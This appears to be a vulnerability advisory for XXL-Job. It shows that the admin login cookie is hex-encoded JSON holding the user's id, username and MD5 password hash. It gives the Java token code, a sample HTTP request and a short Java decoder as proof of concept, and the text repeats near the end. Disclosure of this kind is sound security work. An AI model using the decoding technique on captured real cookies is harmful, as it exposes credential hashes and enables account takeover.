Summary
Multiple versions of XXL-Job, including the latest version, contain a critical security vulnerability. The XXL_JOB_LOGIN_IDENTITY in the cookie is obtained by hexadecimal conversion of administrator user information. After decoding, it contains the administrator's uid, username, password hash (md5), role_id, and permission information. If hackers obtain the administrator's cookie through any means, it is equivalent to gaining access to these sensitive administrator user details.
Details
The token generation logic during the login process
- src/main/java/com/xxl/job/admin/controller/IndexController.java
@RequestMapping(value="login", method=RequestMethod.POST)
@ResponseBody
@PermissionLimit(limit=false)
public ReturnT<String> loginDo(HttpServletRequest request, HttpServletResponse response, String userName, String password, String ifRemember){
boolean ifRem = (ifRemember!=null && ifRemember.trim().length()>0 && "on".equals(ifRemember))?true:false;
return loginService.login(request, response, userName, password, ifRem);
}
public ReturnT<String> login(HttpServletRequest request, HttpServletResponse response, String username, String password, boolean ifRemember){
// param
if (username==null || username.trim().length()==0 || password==null || password.trim().length()==0){
return new ReturnT<String>(500, I18nUtil.getString("login_param_empty"));
}
// valid passowrd
XxlJobUser xxlJobUser = xxlJobUserDao.loadByUserName(username);
if (xxlJobUser == null) {
return new ReturnT<String>(500, I18nUtil.getString("login_param_unvalid"));
}
String passwordMd5 = DigestUtils.md5DigestAsHex(password.getBytes());
if (!passwordMd5.equals(xxlJobUser.getPassword())) {
return new ReturnT<String>(500, I18nUtil.getString("login_param_unvalid"));
}
String loginToken = makeToken(xxlJobUser);
// do login
CookieUtil.set(response, LOGIN_IDENTITY_KEY, loginToken, ifRemember);
return ReturnT.SUCCESS;
}
private String makeToken(XxlJobUser xxlJobUser){
String tokenJson = JacksonUtil.writeValueAsString(xxlJobUser);
String tokenHex = new BigInteger(tokenJson.getBytes()).toString(16);
return tokenHex;
}
public XxlJobUser ifLogin(HttpServletRequest request, HttpServletResponse response){
String cookieToken = CookieUtil.getValue(request, LOGIN_IDENTITY_KEY);
if (cookieToken != null) {
XxlJobUser cookieUser = null;
try {
cookieUser = parseToken(cookieToken);
} catch (Exception e) {
logout(request, response);
}
if (cookieUser != null) {
XxlJobUser dbUser = xxlJobUserDao.loadByUserName(cookieUser.getUsername());
if (dbUser != null) {
if (cookieUser.getPassword().equals(dbUser.getPassword())) {
return dbUser;
}
}
}
}
return null;
}
So as long as the obtained token is converted from hexadecimal to string, account information will be retrieved.
POC
Admin account's cookie sample:
GET /xxl-job-admin/ HTTP/1.1
Host: 127.0.0.1:7001
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:7001/xxl-job-admin/user
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1751943490; HMACCOUNT=07E32C2CE82754B5; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1751952001; JSESSIONID=2b4aea12-1969-4416-aa33-647ac1c23da8; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
Connection: close
- Let's see the
XXL_JOB_LOGIN_IDENTITY
XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
POC
public class HexStringConverter {
public static void main(String[] args) {
String hexString = "7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d"; // 示例十六进制字符串
String originalString = new String(new BigInteger(hexString, 16).toByteArray());
System.out.println(originalString);
}
}
{"id":1,"username":"admin","password":"e10adc3949ba59abbe56e057f20f883e","role":1,"permission":null}
Then we got the uid, username, password hash (md5), role_id and permission
Impact
Cookie contains admin credentials in plaintext hex format, enabling complete account takeover and unauthorized system access if intercepted.
Summary
Multiple versions of XXL-Job, including the latest version, contain a critical security vulnerability. The XXL_JOB_LOGIN_IDENTITY in the cookie is obtained by hexadecimal conversion of administrator user information. After decoding, it contains the administrator's uid, username, password hash (md5), role_id, and permission information. If hackers obtain the administrator's cookie through any means, it is equivalent to gaining access to these sensitive administrator user details.
Details
The token generation logic during the login process
So as long as the obtained token is converted from hexadecimal to string, account information will be retrieved.
POC
Admin account's cookie sample:
XXL_JOB_LOGIN_IDENTITYXXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
POC
Then we got the uid, username, password hash (md5), role_id and permission
Impact
Cookie contains admin credentials in plaintext hex format, enabling complete account takeover and unauthorized system access if intercepted.